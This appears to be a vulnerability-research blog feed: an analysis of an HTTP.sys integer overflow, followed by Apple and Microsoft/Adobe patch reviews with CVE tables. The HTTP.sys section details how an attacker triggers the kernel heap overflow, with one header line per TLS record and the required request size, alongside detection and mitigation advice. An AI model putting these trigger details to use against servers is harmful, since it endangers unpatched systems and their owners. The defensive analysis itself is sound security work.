An integer overflow vulnerability exists in HTTP.sys. The vulnerability is due to insufficient bounds checking when growing a buffer reference array during HTTP/1.x header parsing. When HTTP.sys receives data for an HTTP/1.x request, it allocates a UL_REQUEST_BUFFER structure for each receive indication and tracks these buffers in the per-request reference array described above. The count field records the number of active buffer references, and the capacity field records the total number of allocated slots.

As the HTTP parser (UlpParseNextRequest()) processes header lines, it calls an inline buffer reference routine each time a new receive buffer is consumed. When count reaches capacity, the routine grows the array by reallocating it with five additional slots. The new allocation size is computed as 0x28 + capacity * 8, the contents of the existing array are copied via memmove using count * 8 as the copy length, and capacity is incremented by 5 as a 16-bit unsigned integer addition. No overflow check is performed on this addition.

After 13,107 growth events, capacity reaches 0xFFFB. The next growth adds 5, producing 0x10000, which truncates to 0x0000 in the 16-bit field. On the subsequent buffer reference addition, count (which is now 65,536 or greater) exceeds the zero capacity, triggering another growth. The allocation size computation 0x28 + 0 * 8 produces a 40-byte allocation, but the memmove copies count * 8 bytes (approximately 524,256 bytes) from the old buffer into the 40-byte allocation. This results in a kernel pool heap buffer overflow of over 500 kilobytes.

Each buffer reference corresponds to one receive buffer delivered to the HTTP parser. For plaintext HTTP connections, the Windows TCP stack coalesces received segments into large indications, and UlpMergeBuffers() further combines buffers within HTTP.sys. Over TLS connections, each TLS record is decrypted independently by SChannel and delivered as a separate buffer through UlHttpBufferReceiveEvent() into UlpCopyIndicatedData(). If each TLS record contains exactly one complete header line (terminated by CRLF), the HTTP parser fully consumes the buffer without setting the partial-parse flag, causing UlpAdjustBuffers() to advance to the next buffer via its non-merge path. This creates a 1:1 correspondence between TLS records sent and buffer references accumulated.

To trigger the overflow, an attacker crafts an HTTP request in which each header line is encapsulated in a separate TLS application data record. Given a minimum header line size of approximately 4 bytes and a required count of 65,536 buffer references, the total request size comes to roughly 262,144 bytes. The MaxRequestBytes registry value (at HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters) must be configured to a value of at least 262,144 bytes for the server to accept a request of this size. The default value of 16,384 bytes limits the request to approximately 4000 header lines, which is insufficient to trigger the overflow. As a mitigation, keeping MaxRequestBytes at or below 65,535 bytes represents the most conservative configuration to prevent this attack.

A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP/1.x request over a TLS connection to an affected server. Successful exploitation results in unexpected system termination due to a memory access exception in the context of the kernel. Under specific memory layout conditions, exploitation could result in arbitrary code execution in the context of the kernel.

Notes:

• The vulnerability is only reachable through HTTP/1.x header parsing over TLS connections. HTTP/2 and HTTP/3 use different parser paths that do not interact with the buffer reference array.

• Body data parsing (Content-Length or chunked transfer encoding) does not add entries to the buffer reference array. Only header parsing triggers buffer reference growth.

• At a sending rate of 10 milliseconds per TLS record, the overflow requires approximately 11 minutes to trigger.

Source Code Walkthrough

The following code snippet was taken from HTTP.sys version 10.0.26100.7705. Comments added by TrendAI Research have been highlighted.

In UlpParseNextRequest():

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the TCP port 443.

The traffic on the affected port(s) is TLS-encrypted. The detection device must be able to decrypt the TLS traffic before applying the following detection method. The detection device should monitor for HTTPS connections.

An HTTP/1.x request [1] consists of a request line followed by zero or more header field lines, each terminated by CRLF. The following grammar defines the relevant structure:

Decrypted traffic inspection:

After decrypting the TLS session, the detection device must parse the HTTP/1.x request headers. The detection device must count the number of distinct header field lines present in a single HTTP request. If the number of header field lines in a single request exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Encrypted traffic heuristics:

Where decryption is not available, the detection device should inspect the pattern of TLS application data records within the encrypted session. If each TLS application data record contains a single short payload and the total number of such records on a single connection exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Notes:

• The preferred detection method (header line count) requires the ability to decrypt TLS traffic, for example through TLS inspection, a decrypting proxy, or possession of the server's private key. This method directly observes the attack indicator and produces low false-positive and false-negative rates.

• The TLS record heuristic operates on encrypted traffic and does not require decryption. This method is more prone to false positives (legitimate applications that send many small TLS records, such as interactive streaming sessions, may trigger the heuristic) and to false negatives (the threshold is based on observable record sizes rather than the actual header count that determines exploitability). Where possible, decrypted traffic inspection should be preferred.

• The attack requires approximately 11 minutes of sustained connection to accumulate sufficient header lines. Connection duration monitoring may serve as a supplementary detection heuristic.

Conclusion

This vulnerability was patched by Microsoft in the June 2026 release cycle. They note several mitigations that include editing the registry to ensure unpatched systems are not vulnerable to exploitation. However, the best method to ensure this bug has been fully remediated is to test and deploy the vendor-supplied patch.

Special thanks to Yazhi Wang and Jonathan Lein of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

The June 2026 Apple Security Update Review

Sat, 25 Jul 2026 19:02:52 +0200

We’re back with our look at the Apple macOS and iOS security updates. As this is a new feature for us, please let us know your feedback on the blog.

For Jun 2026, Apple released 37 unique CVEs across iOS 26.5.2 / iPadOS 26.5.2, macOS Tahoe 26.5.2, Safari 26.5.2. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. The overwhelming majority (31 of 37) are WebKit/WebRTC bugs reachable through malicious web content. Most of those are crash/DoS bugs rather than code execution, so the real risk lives in the small set of kernel bugs and the handful of WebKit sandbox escapes. However, there are a couple that stand out.

- CVE-2026-43724 (Kernel) – According to Apple, “An app may be able to cause unexpected system termination or write kernel memory.” A kernel memory write is the highest-value primitive here: it's the privilege-escalation half of a full exploit chain and leads to complete device control. The bug was credited to Hyunwoo Kim (@v4bel), who is known to be a serious kernel researcher.

- CVE-2026-39868 (Kernel) – Another kernel bug, this one could “cause unexpected system termination or corrupt kernel memory.” This is kernel memory corruption, and notably credited to a roster of elite offensive researchers (STAR Labs, Positive Technologies, Baidu Security). This kind of attribution usually signals a weaponizable, possibly Pwn2Own-grade bug rather than a theoretical crash.

- CVE-2026-43725 / CVE-2026-43701 (WebKit) – Apple states these bugs could allow a website to process restricted web content outside the sandbox. I'm flagging this sandbox-escape pair over the many WebKit crash bugs because a sandbox escape is the bridge that turns a web-content bug into a path toward the kernel issues above. It's the most dangerous remotely-triggered class in the release.

Here’s a look at all the bugs released by Apple this month:

Apple Security Update – June 29, 2026 37Total CVEs 22Denial of Service 7Information Disclosure 3Memory Corruption 2Elevation of Privilege 2Sandbox Escape 1Spoofing

Apple security release — June 29, 2026. "Yes/No" indicates whether each update is affected. CVE IDs link to NVD.
CVE ID	Component	Impact	iOS 26.5.2 / iPadOS 26.5.2	macOS Tahoe 26.5.2	Safari 26.5.2
CVE-2026-43743	IOGPUFamily	An app may be able to cause unexpected system termination	Yes	Yes	No
CVE-2026-39868	Kernel	An app may be able to cause unexpected system termination or corrupt kernel memory	Yes	Yes	No
CVE-2026-43722	Kernel	An app may be able to leak sensitive kernel state	Yes	Yes	No
CVE-2026-43724	Kernel	An app may be able to cause unexpected system termination or write kernel memory	Yes	Yes	No
CVE-2026-43703	libxslt	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	No
CVE-2026-43706	libxslt	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	No
CVE-2026-43704	Web Extensions	A malicious web extension may be able to cause an unexpected process crash	Yes	Yes	Yes
CVE-2026-39872	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43663	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43676	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43699	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43700	WebKit	Processing maliciously crafted web content may disclose sensitive user information	Yes	Yes	Yes
CVE-2026-43701	WebKit	A malicious website may be able to process restricted web content outside the sandbox	Yes	Yes	Yes
CVE-2026-43705	WebKit	Processing maliciously crafted web content may lead to memory corruption	Yes	Yes	Yes
CVE-2026-43707	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43708	WebKit	A malicious website may exfiltrate data cross-origin	Yes	Yes	Yes
CVE-2026-43709	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43712	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43713	WebKit	Visiting a website may leak sensitive data	Yes	Yes	Yes
CVE-2026-43715	WebKit	Processing maliciously crafted web content may lead to memory corruption	Yes	Yes	Yes
CVE-2026-43716	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43725	WebKit	A malicious website may be able to process restricted web content outside the sandbox	Yes	Yes	Yes
CVE-2026-43726	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43727	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43731	WebKit	Processing maliciously crafted web content may lead to memory corruption	Yes	Yes	Yes
CVE-2026-43732	WebKit	Processing maliciously crafted web content may disclose sensitive user information	Yes	Yes	Yes
CVE-2026-43734	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43735	WebKit	A malicious website may exfiltrate data cross-origin	Yes	Yes	Yes
CVE-2026-43740	WebKit	Processing maliciously crafted web content may result in the disclosure of process memory	Yes	Yes	Yes
CVE-2026-43742	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43745	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43720	WebKit Canvas	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43721	WebKit Storage	A malicious website may be able to silently hijack clipboard data	Yes	Yes	Yes
CVE-2026-28979	WebRTC	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43717	WebRTC	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43718	WebRTC	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43746	WebRTC	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes

We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.

The July 2026 Security Update Review

Sat, 25 Jul 2026 19:02:51 +0200

Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for July 2026

Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.

For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.

Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-82	Adobe ColdFusion	13	Critical	9.9	No	1
APSB26-73	Adobe Commerce	13	Critical	9.6	No	2
APSB26-78	Adobe After Effects	3	Critical	7.8	No	3
APSB26-83	Adobe Animate	6	Critical	8.6	No	3
APSB26-71	Adobe Audition	6	Critical	7.8	No	3
APSB26-81	Adobe Bridge	6	Critical	7.8	No	3
APSB26-77	Adobe Creative Cloud Desktop Application	2	Critical	8.1	No	3
APSB26-74	Adobe Experience Manager	13	Critical	9.6	No	3
APSB26-79	Adobe Illustrator	5	Critical	9.3	No	3
APSB26-72	Adobe Media Encoder	5	Critical	7.8	No	3
APSB26-76	Adobe Premiere Pro	4	Critical	7.8	No	3
APSB26-80	Content Credentials SDK	12	Critical	8.2	No	3
TOTAL	12 bulletins	88

While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here.

Microsoft Patches for July 2026

Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.

The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.

So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.

- CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege Vulnerability
This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.

- CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege Vulnerability
The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.

- CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability
This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.

- CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution Vulnerability
This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly.

- CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability
This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there.

- CVE-2026-55008 - Microsoft Exchange Server Spoofing Vulnerability
Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.

- CVE-2026-50518 - Windows DHCP Server Remote Code Execution Vulnerability
There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.

- CVE-2026-56188 - Windows Server Network driver Remote Code Execution Vulnerability
Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.

- CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability
File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.

Here’s the full list of CVEs released by Microsoft for July 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-56155	Active Directory Federation Services Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-56164	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Moderate	5.3	No	Yes	EoP
CVE-2026-50661	Windows BitLocker Security Feature Bypass Vulnerability	Important	6.1	Yes	No	SFB
CVE-2026-54121	Active Directory Certificate Services Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-45499 **	Azure OpenAI Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-48564	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50370	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-56159	DHCP Server Service Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50382	DirectX Graphics Kernel Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-41106 **	Microsoft 365 Copilot Elevation of Privilege Vulnerability	Critical	9.3	No	No	EoP
CVE-2026-26145 **	Microsoft Azure Synapse Elevation of Privilege Vulnerability	Critical	4.8	No	No	EoP
CVE-2026-48561	Microsoft Copilot Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
CVE-2026-55011	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55012	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55944	Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-57100 **	Microsoft Entra Provisioning Service Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55041	Microsoft Excel Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-54998 **	Microsoft Exchange Online Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-55008	Microsoft Exchange Server Spoofing Vulnerability	Critical	9.6	No	No	Spoofing
CVE-2026-54992	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50314	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50467	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55018	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55022	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55045	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-55049	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55129	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55056	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55140	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55043	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55123	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55120	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50522	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-58644	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-55040	Microsoft SharePoint Server Security Feature Bypass Vulnerability	Critical	9.1	No	No	SFB
CVE-2026-54117	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54118	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50655	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-56189	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-57090	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57094	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57087	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57092	Microsoft Windows VMSwitch Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55033	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55127	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55132	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55010	Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50474	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-49164	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-54128	Windows DHCP Client Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50518	Windows DHCP Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-49796	Windows GDI+ Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50380	Windows GDI+ Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
CVE-2026-54127	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	7.4	No	No	EoP
CVE-2026-50680	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	8.2	No	No	EoP
CVE-2026-50327	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58542	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58608	Windows Print Spooler Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54982	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54995	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-42982	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7.8	No	No	EoP
CVE-2026-50392	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7	No	No	EoP
CVE-2026-50694	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-56188	Windows Server Network driver Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50444	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-54999	Windows TCP/IP Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-47302	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50525	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50651	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57108	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50524	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50527	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50648	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50650	.NET Framework Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50646	.NET Framework Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50649	.NET Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47304	.NET Security Feature Bypass Vulnerability	Important	8.1	No	No	SFB
CVE-2026-50528	.NET Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-50659	.NET Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-50526	.NET Tampering Vulnerability	Important	7	No	No	Tampering
CVE-2026-50682	Active Directory Denial of Service Vulnerability	Important	7.1	No	No	DoS
CVE-2026-55001	Active Directory Domain Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50647	Active Directory Federation Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50684	Active Directory Federation Server Spoofing Vulnerability	Important	4.8	No	No	Spoofing
CVE-2026-56170	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-47300	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-47303	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50652	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50653	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57969	Azure CycleCloud Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58279	Azure CycleCloud Elevation of Privilege Vulnerability	Important	6.5	No	No	EoP
CVE-2026-47632	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50338	Azure Spring Apps Elevation of Privilege Vulnerability	Important	8.2	No	No	EoP
CVE-2026-50488	Clipboard User Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50491	Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50381	Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50427	Content Delivery Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50692	Desktop Window Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58633	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58634	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50296	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50375	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-50353	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50493	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56643	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56644	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58629	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49174	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-50495	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-57088	Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50663	Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-47282	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-50510	GitHub Copilot Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49787	HTTP.sys Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50420	HTTP.sys Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49788	HTTP/2 Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50696	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58617	M365 Copilot for iOS Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-58595	Microsoft Bing App for IOS Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-49162	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50305	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50361	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50466	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50458	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50658	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56178	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
